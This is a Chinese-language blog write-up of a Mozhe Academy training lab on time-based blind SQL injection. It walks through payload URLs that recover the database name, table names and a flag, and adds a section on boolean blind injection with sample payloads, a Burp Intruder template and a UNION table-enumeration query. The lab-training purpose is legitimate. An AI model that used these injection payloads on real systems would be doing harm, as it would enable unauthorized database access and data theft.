墨者学院——SQL注入漏洞测试(时间盲注)

点击链接进入题目

点进网页,在url后加?type=1',发现没有回显

 上传?type=1 and sleep(10),发现网页有明显延迟,说明sleep函数被执行,该网页存在时间注入

 通过构造payload去获得数据库长度,x为猜想的数据库长度。

http://124.70.71.251:43431/flag.php?type=1%20and%20if(length(database())=x,sleep(5),1)%20--

测试发现当database=12时网页出现延迟,发生时间注入,说明数据库的长度为12

然后进行猜解数据库名

http://ip/flag.php?type=1 and if(ascii(substr(database(),1,1))=112,sleep(5),1) --+

一个个猜解会很慢,可以使用sqlmap去跑数据库名python sqlmap.py -u "url" --dbs

 接下来猜解表

1、猜解表的长度

http://ip/flag.php?type=1 and if(length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=4,sleep(5),1) --

2、猜解表名

http://219.153.49.228:40472/flag.php?type=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))=102,sleep(5),1) --

可以发现当第一个字母的ASCII码为102时,即为字符‘f’时,发现有延迟,即该表的第一个字母是‘f’

以此类推猜出长度为4的表名

也可以直接用sqlmap跑出表名python sqlmap.py -u

 得到表名后,我们需要获取表中的数据

1、猜解数据长度

http://ip/flag.php?type=1 and if(length((select flag from flag limit 0,1))=6,sleep(4),1)--

当猜想数据长度为6的时候有延迟,说明该数据的长度为6

2、猜解数据内容

http://ip/flag.php?type=1 and if(ascii(substr((select flag from flag limit 0,1),1))=109,sleep(4),1)--


以此类推可以猜得该长度为6的数据内容为mozhe1

用sqlmap跑会很方便

最终获得flag。

### 关于MySQL布尔注入的基础概念 布尔型SQL注入是一种通过向应用程序发送特定构造的输入并观察其响应来推断数据库结构的技术。这种技术依赖于程序返回的不同页面内容或HTTP状态码,以此判断条件表达式的真假[^1]。 ### 利用手工方法执行布尔盲注的过程 当面对一个可能存在SQL注入漏洞的应用时,在未提供错误消息的情况下,可以通过改变查询参数中的逻辑条件来进行试探。例如: ```sql id=1 AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),1,1))=48; ``` 上述语句尝试获取当前数据库下的第一个表名的第一个字符ASCII值是否等于`48`(即字符'0')。如果网页正常显示,则表示该位置上的字符确实为‘0’;反之则不是。接着可以调整比较数值继续猜测其他可能存在的字符直至整个字符串被还原出来[^2]。 ### 使用自动化工具辅助布尔盲注实验 对于较为复杂的场景下手动操作效率较低的情况,Burp Suite这样的中间人代理软件能够帮助快速定位到敏感数据。设置好相应的payload模板之后就可以让工具自动遍历所有可能性从而大大节省时间和精力。比如利用Intruder模块配置如下Payloads: - `and (select substr(user(),{POSITION},1)={CHAR})` 其中`{POSITION}`代表要读取的目标字符串的位置索引而`{CHAR}`则是待验证的具体字符编码。 ### 获取指定模式内的表格名称列表实例 为了进一步探索目标站点背后的架构设计,还可以借助联合查询的方式提取更多有用的信息。下面给出了一条用于枚举名为`mozhe_Discuz_StormGroup`的数据集内全部表单标题的例子: ```sql UNION SELECT 1,GROUP_CONCAT(table_name),3,4 FROM information_schema.tables WHERE table_schema='mozhe_Discuz_StormGroup'; ``` 此命令会把符合条件的结果拼接成一行输出给攻击者查看[^3]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值